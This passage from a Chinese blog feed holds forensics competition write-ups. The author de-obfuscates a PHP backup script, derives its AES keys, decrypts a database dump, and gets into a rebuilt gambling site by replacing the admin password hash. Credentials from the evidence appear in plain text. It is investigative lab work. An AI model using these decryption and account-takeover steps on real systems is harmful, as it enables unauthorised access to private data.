alt="assets/2025盘古石杯决赛/file-20260325145847240.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-103-efcbadbab3.png"/><br/>root/3w.panguite.com进入</p></li><li><p>找出 DNS 服务器内，主机 ftp 对应的IP地址?</p></li><li><p>找出 FTP 服务器内 2025-05-19 12:25:25 上传的文件名?</p></li><li><p>找出 FTP 服务器限制访问的 IP 地址?</p></li><li><p>找出市场 PC 的磁盘大小?</p></li><li><p>找出市场 PC 的系统 build 版本号?</p></li><li><p>找出市场 PC 网卡 MAC 地址?</p></li><li><p>找出市场 PC 内话术文件，给出 SHA256 的前六位?</p></li><li><p>找出市场 PC 内用户 SID 的后 4 位?</p></li><li><p>找出财务 PC 系统初始安装时间?</p></li><li><p>找出财务 PC 的 IP 地址?</p></li><li><p>找出财务 PC 电脑内共保存了几个月的员工工资表?</p></li><li><p>找出员工"何燕" 2025 年 2 月的实发工资?</p></li><li><p>找出该组织 2025 年 5 月所有人力成本?</p></li></ol><p><strong>会议服务器</strong></p><ol><li><p>找出系统内核版本号?</p></li><li><p>找出会议服务器的 IP 地址?</p></li><li><p>找出服务器内设置的 DNS 地址?</p></li><li><p>找出老会议系统所用数据库对外映射的端口号?</p></li><li><p>找出老会议系统所用数据库 root 密码?</p></li><li><p>找出老会议系统用户密码加密方式?</p></li><li><p>找出老会议系统用户 admin 密码加密的盐值?</p></li><li><p>找出老会议系统中共开过几次会议?</p></li><li><p>找出新会议系统包含几个容器?</p></li><li><p>找出新会议系统对外映射的 http 端口?</p></li><li><p>找出新会议系统用于设置强密码的脚本名?</p></li><li><p>找出新会议系统会议协调服务密码的前6位?</p></li><li><p>找出郝虎友的电话号码?</p></li><li><p>找出该组织总公司位于那个国家?</p></li><li><p>找出该组织中国公司财务部门负责人?</p></li></ol><p><strong>网站服务器</strong></p><ol><li><p>服务器使用的 php 版本时多少?<br/>8.3.6<br/><img alt="assets/2025盘古石杯决赛/file-20260325150557625.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-104-c580a31447.png"/></p></li><li><p>执行自动备份数据库的时间是?<br/>5:00 am<br/><code>grep -rE 'backup|bak|dump|sql' /etc/cron* /var/spool/cron/ /var/spool/cron/crontabs/ 2&gt;/dev/null</code><br/><img alt="assets/2025盘古石杯决赛/file-20260325151710932.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-105-04ffb7a1ee.png"/></p></li><li><p>数据库备份脚本中"2027 年 6 月"的备份密钥是多少?</p></li></ol><p><img alt="assets/2025盘古石杯决赛/file-20260325152421944.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-106-f1b8646baa.png"/><br/>来分析这个脚本，发现有混淆加密<br/>解密脚本：</p><pre><code>&lt;?php// 复制你的 $encoded_chunks 数组到这里$encoded_chunks = [    'LzBDejhNZldHdzBhVWlyZ2EvOW9STzVMbW1FSm5MdGNsWUdqZzMvelpSdjlEcGprQWlMRXZ6eFNsQWFmd0pqaHM2M2M3NHZiMnAvcm1vcnFNTDIyMnd2Nlh3SUdQcFpkWkxZY0tiK29GRVhicitvdWd1MTRUOXg4T2svSTBKTFovMXA3bjdJZ0QxNUc5clY3OVBRNTlpbDdya20vSzhvVUk0M3Z2cU5ja2ZHeGpPSWRoKzh3WGdjQjZ0TmlUU3JhVUpkeE1QbVZFb2QzYVpvS2lFcSs2V3EvZjFNOEZpOS9qRC9WbWdHUE14ZmJoYk9ETmYyWE5Ed0QzdXBseStiNE5xaHNuSVJYWTd2N2dvaTVBL2gvTnMvTElnWm1HZmhCam0yMzhYVUZSYU0ybW40VTNOZWF0cTcxMTZFSUhCTDZ3eWJRRTcvMGJjZHpZYmFyMHEwOTEvOHVhS0g3OGVta1RmQWhuN2Jwenh1M1R1NkVBODdvN3ZvR1BHS2tuMW5adXVrSHp0TDFqRU1KWGtGTFRNTmp0dE5TbFBNRWNlbjE2WTdaZ0JMY2VZU3F2aW0xNklRdVBLL1VLc3Q5Q3c3T3BCdGtxalBTV2kycFV0SjZMdTVMVFBmaUlJdTJZSk9XdGRxQlZ6UGdhYnMyL2pKLzN5VWIrQ25MS3ovYUs5ekI1emVvdXNtajYyZVM2Zm1PcFFsRGY2S1ZhZUtuaGRPZ0J3WW5rM1lSVEFLVC9oaDhPNVBTQkdaNmxoTDNJYlFqaG92NnhkV0dkM3FZZzVJcmpOZmx2dzhvQTJmbERBM2hucGNxM2pRWkswZTlLMmk5TzltU1lzNDFnN2hrcVRybENocTJVTmFBZlo4TlJXV0NPaU5QWTNSY2ZOcThMbDNXdlBVV1FwWEpqMGNsV0ErazRHZmphdnMwallNOTY1N3JOOW53clpZQjJPNFRQcHZYcWN5SzEweU9MY3lES2ZDL2JlUjNPNGYxd0NzL2NCbU5tUGwyNC9FYUZEVWR5b3VPOHRGZnJuTzREZzZtRHhTRWtZUFdDd3lQTlBEVWZIcFM4OEhrRS9hMUlmOEM1blpEQXBwV2x0aHVONFJzL3hCRVdBblJQNHB1QURrbEV6WGp1M2ZSczYzZHZNNFBoVE4vcnE5cC9ZZUNoVEFraTFISG9POWVlbmhuaVJwanRrMTBJeFpWQ0Y1NnRaL1QrVzlaV0pWUkltTmpoWFU2Zlo2MVBPNUdwQUd3VzhwRHlNR2ZEQXhwUGh1UzhFNXhvWWZNUGFacVNucURrcVF4cEoveEVrRFNHa3gxOEgvNk40MklxUis2N0hkcmRXZFpIUlBIK1JqS3hhbUVQVytYendtb2t5RTJuN2dnOUJYdWgvSkRxWmp6cmlRSzRVeXNUQjF6T2VKSDA0U25oWEZERGZZL29ZVW13bmlTUDlhM04zc0xyV0lxb0plRjFIbXlkZVpibGFLeUhqMUNiQjZid1R4MkZIRlVuUlBoUGNOamppNUNJTkFGV3NYMzVjTFA0MFZvcGIyQi82aW9CbXlXcUpERnNuTFV4OFVLREVLeS9wYXNGR1MvZ2lDdkc1TTk2ZU11aFBVaXpGR0lJZzRad2twRkFxVjl3aDIzdG9mdWFOMnBjQzM1bE5lSjJ0ZlVBSGJ4VnZUZXlYcjFTdGJtbGZEQmJqNzVxQzlEMElmSnRTaXdJeFU1Z3ptaU8vSkM0OS9HK0hTdHNTdUE1ZWJSa291TVJJZi9aSDR0ZmhWTEdoUEFENWdNbENqV2M0VU5FRzkyYlBlS0VQdE5aWCtXUmw5V05aUUp3SkJscDlXMUZ4WURESkk5bkVWZmFrYjNtRkZPMWV5QWFvWWJXVkFsclZlL1BzbDN4VVo4LzlMSkJFeHlnWjM0YVM1MXY1U2dsV3paVjZBOTUwUEF0d0lnZndIUDlWNkw2Z01CbGVsdkNJSVgxKzlPaytaVHVpTlVTdk5iTWNGOXk0d2VIbUNjZUMvVnRHc0JSSDk4cEtEYVZqWG10aTVaU0lKUVpIT29acHRj',    'THJCWTcvVlpGTm9xQ3p1cElGdmJweVR1aUJTdmN2aUZwMUs3dHNIVHpMWVNEc3FFZlpNRFoxNHhkZHA3Q2Z6eko5VG44em95eSttM29vaHFTZ2dhYVkzSTIzQ1VLVlE4dHV6b3dPcGZCY1JkeFpYcWE3TktGTGVXVkxYYk5wSXl5OHlLTFF0WjVVYzdHSXU4R25nQTl1VStZaklZT3FXMFRrMWlwampCd1NPQkd5VklNRFVOS3BLTTFvVXliMkoyeEMzdXpWdE4yaVhzb2pYa2RVbWR3NmN1bDhWOEdmMmFYTWdaR3J1ZGR6TGNRU3Z2ZjNTNEY0Y09CWnFIZWdqQ1hrbFNBd083ekhtZDNobkk2VDNHR3ovK0FBcStkUENycmZzRzJWdUZ5am56anNmUFV3NmtyTkJYWVl2Rm4wa3M5R0h5OEpHNHpGQjlsK0lEYy9yNlZ4Y3lMQlhDUkx0YnJLdk9YOS9XZzFaeC9BQ2xLTWFBaDlHMmg5V3h2RGp0VWxCVXNYYWRVN1pZelNvYVZodTdtRmw4aUVjK2R2SDR0Vk1jNWtaYnNrMGxZeGFGbDBITEhKYUQ4bzhwNGJoMUU4dmRLQUx0VzQ3RE4wT3VXdVdkdzZQTEh5N0FTdjM5U3JjdzhxVDN5U1FucDJMMERQWWdPSXhZYkcrbjNlY2w3NGdMSyt1TXZHenRDdGVkK3Q3dDY4dERYMDBZS2ZlalY4eDJXUGh2MHRLNFh2OFl1RGEwWStSVVl0akMyL29PWjNibDZjQ3BydlRnUkdvSmdNVi9UZEJZR0swNWh5aFlPeUE3ajdUcXpDUmFVUHc1ekxWa09RMTlJSGc2M1JGdDd3Znh0L3V6bFdDWUw1blZCMmJRQUxidldQVGZrdWlWTzZkdjB4UHl5NWR4WTRSS2FBaGFuby9uSDd6aUNTRjMvcm1ZcnVxL2MyeVVFaS9GT0cra0t1cHM5MUkzcTFxczdvZEs5ZnpDaWp6ck1TRGpUaWQ2Zm9RMXNyM0xuQW5tZWZwZ0hLS3pVdlVLaUNzUUI4dGw4K2NUcGRtYkFySWlEK20rd1ZJaVNyc3NtcnhWTG4vZ25yNGdLb1lKTVd2N1QzK2h4aUdhZnNtUWloMnBvbzcxMTRacXA1UWlmbFMwanNibEE1ZWY5SGVWVExmenF5RHlVcjk1bWlLUW9ockhPb3B1Z0JXbWZ3VjlsSkY0NmVZSzYrUEg3aDdyNmdpUWFnbTU4eVltellVT3JIN2N5NVNVbXQ5S1hlYUZuRDdpZGloNmYxOTBFWDY3bk5hWWNxOG5SZ2hvM1p6Zk1leUdRYnlTU3l4WEVseFZWR0JITnlUU255dmdvbmx0U2NBYVRSOG4zUm9Xa3dWb3lGb1NqOEM0MzRhU1RnOW9vcUl3',];// 拼接$_obfuscated_data = implode('', $encoded_chunks);// 解密过程$_decode_layer_A = base64_decode($_obfuscated_data);$_decode_layer_B = str_rot13($_decode_layer_A);$_decode_layer_C = strrev($_decode_layer_B);$_decode_layer_D = base64_decode($_decode_layer_C);$_original_php_code = gzinflate($_decode_layer_D);  // 输出原始PHP代码echo $_original_php_code;?&gt;</code></pre><p>得到：</p><pre><code>php decode.php/** * MySQL加密备份脚本（Docker 容器兼容版） * 用途：每周三凌晨5点备份MySQL数据库并使用AES-256-CBC加密 * 配置为定时任务执行 */// 数据库配置（根据实际环境修改）$db_config = [    'container' =&gt; 'www-db-1',         // 容器名    'username'  =&gt; 'skm2332',    'password'  =&gt; 'skm2332',    'database'  =&gt; 'skm2332',];// 备份设置$backup_dir     = dirname(__FILE__) . '/data/db_backups/';  // 备份目录$date_format    = 'Y-m-d_H-i-s';$backup_file    = $backup_dir . 'db_backup_' . date($date_format) . '.sql';$encrypted_file = $backup_file . '.enc';$log_file       = $backup_dir . 'backup_log.txt';// 创建备份目录（如果不存在）if (!file_exists($backup_dir)) &#123;    mkdir($backup_dir, 0755, true);    // 创建.htaccess文件禁止Web访问    file_put_contents($backup_dir . '.htaccess', "Order allow,deny\nDeny from all");&#125;// 记录开始时间logMessage("开始备份数据库: &#123;$db_config['database']&#125;");// 设置内存限制ini_set('memory_limit', '512M');// 获取加密密钥（按月生成）function getEncryptionKey() &#123;    $base_key = 'cmf_backup_key_' . date('Ym');    return hash('sha256', $base_key, true);&#125;// 写入日志函数function logMessage($message) &#123;    global $log_file;    file_put_contents($log_file, "[" . date('Y-m-d H:i:s') . "] $message\n", FILE_APPEND);&#125;// 执行备份（通过 docker exec 运行 mysqldump）function backupDatabase($config, $output_file) &#123;    $cmd = sprintf(        'docker exec %s sh -c "mysqldump -u%s -p%s --opt --skip-lock-tables --no-tablespaces --default-character-set=utf8mb4 %s" &gt; %s',        escapeshellarg($config['container']),        escapeshellarg($config['username']),        escapeshellarg($config['password']),        escapeshellarg($config['database']),        escapeshellarg($output_file)    );    logMessage("执行命令: $cmd");    exec($cmd, $output, $return_var);    return $return_var === 0;&#125;// 分块加密文件（避免内存溢出）function encryptFile($input_file, $output_file, $key, $log_file) &#123;    if (!file_exists($input_file)) &#123;        logMessage("错误: 备份文件 '$input_file' 不存在");        return false;    &#125;    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('AES-256-CBC'));    $input_handle = fopen($input_file, 'rb');    $output_handle = fopen($output_file, 'wb');    if (!$input_handle || !$output_handle) &#123;        logMessage("无法打开文件进行加密");        return false;    &#125;    fwrite($output_handle, base64_encode($iv)); // 先写入 IV    while (!feof($input_handle)) &#123;        $plaintext = fread($input_handle, 8192); // 每次读取 8KB        $ciphertext = openssl_encrypt($plaintext, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);        fwrite($output_handle, base64_encode($ciphertext));        $iv = substr($ciphertext, 0, 16); // CBC 模式下，IV 更新为上一块的前16字节    &#125;    fclose($input_handle);    fclose($output_handle);    logMessage("备份文件已加密: " . basename($input_file) . " -&gt; " . basename($output_file));    return true;&#125;// 清理旧备份（保留30天内的）function cleanOldBackups($dir, $days_to_keep = 30) &#123;    $files = glob($dir . '*.sql.enc');    $now = time();    foreach ($files as $file) &#123;        if (is_file($file) &amp;&amp; ($now - filemtime($file)) &gt; $days_to_keep * 86400) &#123;            if (unlink($file)) &#123;                logMessage("已删除过期备份文件: " . basename($file));            &#125;        &#125;    &#125;&#125;// 主流程try &#123;    if (!backupDatabase($db_config, $backup_file)) &#123;        throw new Exception("数据库备份失败");    &#125;    logMessage("数据库备份成功: " . basename($backup_file));    $key = getEncryptionKey();    if (!encryptFile($backup_file, $encrypted_file, $key, $log_file)) &#123;        throw new Exception("加密失败");    &#125;    unlink($backup_file);    logMessage("已删除未加密的备份文件: " . basename($backup_file));    cleanOldBackups($backup_dir, 30);    logMessage("备份完成");    echo "✅ 数据库备份和加密已完成。\n";&#125; catch (Exception $e) &#123;    logMessage("❌ 错误: " . $e-&gt;getMessage());    echo "❌ 错误: " . $e-&gt;getMessage() . "\n";&#125;</code></pre><p>可看到生成密钥逻辑：// 获取加密密钥（按月生成）<br/>function getEncryptionKey() {<br/>$base_key = 'cmf_backup_key_' . date('Ym');<br/>return hash('sha256', $base_key, true);<br/>}<br/>让ai写个脚本：</p><pre><code>&lt;?php$base_key = 'cmf_backup_key_202706';echo hash('sha256', $base_key);?&gt;</code></pre><p>输出：<br/>6863bd7f968ad31a7f389843845688bf2bca0832ff4460df41736465aa619dbf</p><ol start="4"><li>备份数据库中"充值 0.41640026BTC"的用户 id 是什么?<br/>根据刚才解密出来的备份脚本内容，数据库备份文件的保存位置如下：</li></ol><pre><code>&lt;?php$backup_dir     = dirname(__FILE__) . '/data/db_backups/';  // 备份目录$date_format    = 'Y-m-d_H-i-s';$backup_file    = $backup_dir . 'db_backup_' . date($date_format) . '.sql';$encrypted_file = $backup_file . '.enc';</code></pre><p>于是到/opt/www/data/db_backups/目录下<br/><img alt="assets/2025盘古石杯决赛/file-20260325162550917.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-107-005b2069d8.png"/><br/>可看到这个备份大小是0，一看日志备份失败<img alt="assets/2025盘古石杯决赛/file-20260325162616199.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-108-db71389345.png"/><br/>得到三个信息：<br/><strong>数据库名称</strong>：<code>skm2332</code><br/><strong>数据库用户名/密码</strong>：<code>skm2332</code> / <code>skm2332</code><br/><strong>数据库运行在 Docker 容器</strong>：容器名为 <code>www-db-1</code><br/><img alt="assets/2025盘古石杯决赛/file-20260325162859650.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-109-18cab51b07.png"/><br/>随手翻了下日志似乎看到博彩网站的后台和登录账密...</p><p>根据之前的脚本，密钥派生规则是：<br/><code>$key = hash('sha256', 'cmf_backup_key_' . date('Ym'), true)</code></p><p>算出SHA-256的32字节原始密钥（hex为<code>abe74a67558cdc535e1127cf9d1c4177b064ca107a9794c01d29f281ae23173d</code>）<br/>解密代码：</p><pre><code>import base64from Crypto.Cipher import AESdef decrypt_full_file(enc_file, out_file, key_hex):    # 读取整个加密文件    with open(enc_file, 'rb') as f:        enc_data = f.read()    # 前24字节是base64(IV)    iv = base64.b64decode(enc_data[:24])    # 后面全是base64(ciphertext)    ciphertext = base64.b64decode(enc_data[24:])    key = bytes.fromhex(key_hex)    cipher = AES.new(key, AES.MODE_CBC, iv)    plaintext = cipher.decrypt(ciphertext)    # 去除PKCS7填充    pad_len = plaintext[-1]    if pad_len &gt; 0 and pad_len &lt;= 16:        plaintext = plaintext[:-pad_len]    with open(out_file, 'wb') as f:        f.write(plaintext)    print('解密完成，输出文件：', out_file)if __name__ == '__main__':    enc_file = 'db_backup_2025-05-16_11-33-41.sql.enc'    out_file = 'db_backup_2025-05-16_11-33-41.sql'    key_hex = 'abe74a67558cdc535e1127cf9d1c4177b064ca107a9794c01d29f281ae23173d'    decrypt_full_file(enc_file, out_file, key_hex)</code></pre><p><img alt="assets/2025盘古石杯决赛/file-20260325181703054.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-110-24c5052b15.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260325181650443.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-111-a3afca37ab.png"/></p><p><img alt="assets/2025盘古石杯决赛/file-20260325183706176.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-112-566fac6028.png"/><br/>前后的数据比对一下格式就会发现id是：<br/>47332</p><ol start="5"><li>备份数据库中网站支付方式有几种?<br/>3<br/>忙猜一下支付宝，看到pay_type然后得到3种<br/><img alt="assets/2025盘古石杯决赛/file-20260325184326860.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-113-79c4f1cacd.png"/></li></ol><pre><code>您感觉非常敏锐！这确实是 VCSA（vCenter Server Appliance）的一个经典限制问题，您找对方向了。问题的原因在于：VCSA 系统出于安全考虑，默认给 root 用户分配的是一个受限的“设备 Shell”（Appliance Shell），而不是标准的 Linux Bash Shell。 虽然您在上面的命令行里输入了 `shell` 命令，成功切换到了标准的 Bash 模式（也就是您看到的 `root@vcsa [ ~ ]#`），但这**仅仅改变了当前的这个命令行窗口**。FinalShell 下方的“文件目录”实际上是在后台通过 SFTP 协议建立的另一个连接。因为 root 用户的**默认** Shell 依然是那个受限的设备 Shell，导致这个后台的 SFTP 连接被拒绝或无法解析路径，所以无论你怎么刷新，下方都是空白的。要解决这个问题，我们需要修改 root 用户的**默认 Shell**。### 解决步骤请在您现在的命令行窗口（`root@vcsa [ ~ ]#` 这个状态下）执行以下操作：**第一步：更改默认 Shell 为 Bash** 输入以下命令并按回车：Bash</code></pre><p>chsh -s /bin/bash root</p><pre><code>_(这个命令的意思是：Change Shell，将 root 用户的默认登录环境永久修改为标准的 /bin/bash)_**第二步：断开并重新连接**1. 关闭当前在 FinalShell 中的这个 VCSA 会话标签页。    2. 在 FinalShell 的连接管理器中，双击您的 VCSA 服务器**重新连接**。    重新连接后，您不仅登录时会直接进入 `root@vcsa [ ~ ]#` 状态（不需要再手动输入 `shell`），而且下方的文件目录应该也能瞬间加载出 Linux 的系统文件夹了。</code></pre><p>vcsa集群管理节点无法查看目录解决方法如上）<br/>6. 网站上有一个自毁程序, 请问自毁程序的运行密钥是多少?<br/>这里本来想在finalshell里吧网站目录考下来扫一下，卡死了两次换个思路把虚拟机考下来分析<br/><img alt="assets/2025盘古石杯决赛/file-20260325202407554.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-114-e3abf5b0c8.png"/><img alt="assets/2025盘古石杯决赛/file-20260325202414935.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-115-8ee3285b89.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260325202759625.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-116-09ed123760.png"/><br/>在vcsa的client端能下载，但是很慢，想想从文件系统解决的办法：<br/>暂时无，个人的理解是esxi12挂起来形成的vsandatastore目录，无法直接文件系统层次分析。</p><p>注意到网站目录下有个1.sh，看起来很可疑，其记载的时间刚好在备份后，分析下这段内容是典型的OpenSSL加密输出（以<code>U2FsdGVkX1</code>开头），通常是用<code>openssl enc</code>命令加密后的结果，但是没有找到解密逻辑和密钥<br/><img alt="assets/2025盘古石杯决赛/file-20260327094405517.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-117-282046e7a8.png"/><br/>（# vscode如何让文本超出屏幕自动换行）<br/><img alt="assets/2025盘古石杯决赛/file-20260327094316887.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-118-6a6aef948b.png"/><br/>7. 容器启动过程中运行的第一个程序是什么?<br/><strong>docker-entrypoint.sh</strong><br/><img alt="assets/2025盘古石杯决赛/file-20260327094848086.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-119-e4400e5538.png"/><br/>/var/lib/docker/containers/目录下找到对应容器的文件夹看config.v2.json<br/><img alt="assets/2025盘古石杯决赛/file-20260327095137630.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-120-2d5bfea389.png"/><br/>可以在文件中的 "Path" 字段和 "Entrypoint" 字段看到：</p><ul><li>"Path": "docker-entrypoint.sh"</li><li>"Entrypoint": ["docker-entrypoint.sh"]<br/>这就是容器启动的第一个程序<br/>也可以直接在网站目录下看dockerfile</li></ul><ol start="7"><li>管理员登陆密码的加密方法是什么?<br/>"###"+md5(22GtFeAKH41xK7NS9h+md5("password"))</li></ol><p>/var/www/html/app/admin/controller/PublicController.php<br/>这个路径很常见于国产PHP框架（如ThinkPHP、ThinkCMF等）项目中</p><ul><li>/app/admin/controller/：通常存放后台管理相关的控制器代码。</li><li>PublicController.php：经常包含登录、注册、验证码等“公开”接口的逻辑。</li></ul><p>docker cp 50fff335f0cc:/var/www/html/app/admin/controller/PublicController.php /root/PublicController.php<br/>从容器中把文件拷到虚拟机里，在考到windows上<br/>刷新一下就能看到</p><p><img alt="assets/2025盘古石杯决赛/file-20260327105853720.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-121-0dd38d3956.png"/><br/><img alt="assets/2025盘古石杯决赛/file-20260327110433549.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-122-5709f7f9a7.png"/><br/>其实直搜更快，还找到了容器文件夹<img alt="assets/2025盘古石杯决赛/file-20260327112001839.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-123-2bfbedfe83.png"/><br/>去查找 cmf_compare_password 或 cmf_password 这两个函数的定义和实现位置。<br/>在容器里面执行grep语句<br/><code>grep -rn "cmf_compare_password" /var/www/html</code><br/>最后看到<br/>/var/www/html/simplewind/cmf/common.php:217:function cmf_compare_password($password, $passwordInDb)<br/>说明是全局函数，去common.php中查看<br/><img alt="assets/2025盘古石杯决赛/file-20260327112831645.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-124-54fe909b0b.png"/><br/>在火眼里面路径不太一样搜一下能找到<br/><img alt="assets/2025盘古石杯决赛/file-20260327113152219.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-125-ee1b1a36f8.png"/><br/>cmf_compare_password 会根据 user_pass 的前缀判断用新旧哪种加密方式（"###"为新版，否则为旧版），并调用 cmf_password 或 cmf_password_old 进行加密比对。<br/><img alt="assets/2025盘古石杯决赛/file-20260327170239969.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-126-4c2c0690a6.png"/><br/>是新版：<br/>新版加密逻辑（即 cmf_password）如下：</p><ol><li>获取加密用的 authCode（如果未传入，则取 config/database.php 里的 authcode 配置）。</li><li>对明文密码 $pw 先做一次 md5。</li><li>用 authCode 拼接上一步的 md5，再做一次 md5。</li><li>最终结果前加 "###" 前缀。</li></ol><p><img alt="assets/2025盘古石杯决赛/file-20260327170829215.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-127-b6c16010a8.png"/><br/>即"###" . \text{md5}(\text{authCode} . \text{md5}(\text{明文密码}))</p><ol start="8"><li><p>管理员登陆密码的盐值是多少?<br/>22GtFeAKH41xK7NS9h<br/>如上题</p></li><li><p>后台管理登陆目录?<br/>admin/public/loginnaknvajvnlassanjx<br/>见第四题</p></li><li><p>分析网站源码, 理解其多级分佣算法, 并计算在一笔 100 元交易中, 一个 5 级推荐链最多能获得多少佣金?<br/>尝试仿真网站，把mysql启起来，看到mysql是另外一个容器，但是启动时报错，在指定位置找不到sql文件<img alt="assets/2025盘古石杯决赛/file-20260327182156732.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-128-9c069a3a43.png"/>把之前得到的备份数据库导入，再修改docker-compose.yml<br/><img alt="assets/2025盘古石杯决赛/file-20260327181459153.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-129-bb704d108c.png"/><br/>改成导进来的备份数据库的名字，docker-compose up -d重启服务（在docker-compose.yml所在目录下）<br/><img alt="assets/2025盘古石杯决赛/file-20260327182648565.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-130-84a65079ca.png"/><br/>重启以后<img alt="assets/2025盘古石杯决赛/file-20260327182938190.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-131-a7dc66dd23.png"/></p></li></ol><p>密码在之前的yml文件里能看到：<img alt="assets/2025盘古石杯决赛/file-20260327184027550.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-132-d9d9f5a601.png"/><br/>root<br/>发现服务器起来了（http）：<img alt="assets/2025盘古石杯决赛/file-20260327185926393.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-133-2db003e9f1.png"/><br/>但是用之前看到的mng+123123进不去，改一下密码：###ac74b822c0ec74b7cc99a59b6f8c1e01（123456）<br/><img alt="assets/2025盘古石杯决赛/file-20260327200216559.png" loading="lazy" src="/blog/img/cnblogs/19813040/image-134-91df61c536.png"/><br/>就可以进来了<br/>11. 签到奖励是多少?<br/>同样改一下user密码，进来点签到，获得0.01USDT</p><ol start="12"><li><p>签到间隔时间是多久?<br/>1h<br/>再次点击会显示“下一个小时再来”</p></li><li><p>得到签到奖励的用户共有多少?<br/>9<br/>在备份的数据库筛选去重</p></li><li><p>提现成功的用户有几个?<br/>1</p></li></ol></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/02/2026-04-02-cnblogs-19813040-2025%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF%E5%86%B3%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/02/2026-04-02-cnblogs-19813040-2025%E7%9B%98%E5%8F%A4%E7%9F%B3%E6%9D%AF%E5%86%B3%E8%B5%9B/"/>
    <published>2026-04-02T08:56:00.000Z</published>
    <summary>
      <![CDATA[检材容器密码:&#160;ENj5MWKOu7tN80uDnRbzb2C409gWpdI#@zLutPdqGGtt-XRt$_$%7i=)5xlbFzF*&#160;容器 MD5:&#160;e4ad1b21e6e818529998869ec352134b 难程序之剖析兮，服务器未竟全功。 心力摧而]]>
    </summary>
    <title>2025盘古石杯决赛</title>
    <updated>2026-04-02T08:57:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>Practice Skills in Sunny March &amp; CPPUISA</p><p>1. 请计算检材一(WEB.E01)镜像文件的SHA256哈希值为?<br/>25577741A65ED32A8605BD05EBDE0CD6E255C2226CDF3A92A876D51850C8C266<br/>2. 分析检材一，其操作系统的内核版本为？<br/>3.10.0-514.el7.x86_64</p><p><img alt="assets/三月社团赛/file-20260329193035860.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-001-670a141b34.png"/></p><p>3. 分析检材一，该服务器IP地址为?<br/>192.168.100.100<br/><img alt="assets/三月社团赛/file-20260329193112114.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-002-3d5227c982.png"/><br/>4. 分析检材一，监听80端口的程序名称为<br/>nginx</p><pre><code>sudo ss -ltnp | grep :80</code></pre><p><img alt="assets/三月社团赛/file-20260329193928992.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-003-cf8a274b1b.png"/><br/>5. 分析检材一，mysql数据库版本号为?<br/>5.6.50<br/><img alt="assets/三月社团赛/file-20260329151504586.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-004-0e522d6048.png"/><br/>6. 分析检材一，该网站(商城)所使用的Nginx配置文件名为？<br/>www.tpshop.com.conf<br/><img alt="assets/三月社团赛/file-20260329194054874.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-005-f8a0b431c7.png"/><br/>分析里面溯源<br/><img alt="assets/三月社团赛/file-20260329194119754.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-006-c3f757c67f.png"/><br/>7. 分析检材一，该服务器中宝塔面板安全入口为？<br/><a href="http://192.168.100.100:8888/0d85fe0b" rel="noopener nofollow" target="_blank">http://192.168.100.100:8888/0d85fe0b</a><br/><code>bt 14</code><br/><img alt="assets/三月社团赛/file-20260329194218980.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-007-17c426eb7b.png"/><br/>8. 分析检材一，该服务器中搭建了几个网站？（格式 ：阿拉伯数字）<br/>2<br/><img alt="assets/三月社团赛/file-20260329194310545.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-008-ae332509c0.png"/><br/>9. 分析检材一，被入侵的网站域名为？<br/>www.tpshop.com<br/>就第一个是域名形式<br/>后来学习到可以打开宝塔网站配置文件可以知道网站域名<br/><img alt="assets/三月社团赛/file-20260330193947161.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-009-fa28017268.png"/><br/>没有直接显示域名的也不要漏了<br/>10. 分析检材一，被入侵网站的后台登陆URL地址为？（格式为域名+路径，比如：www.baidu.com/test）<br/><a target="_blank">www.tpshop.com/index.php/Admin/Admin/login.html</a><br/><img alt="assets/三月社团赛/file-20260329194408502.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-010-ec181b3754.png"/>日志里分析，有多次GET 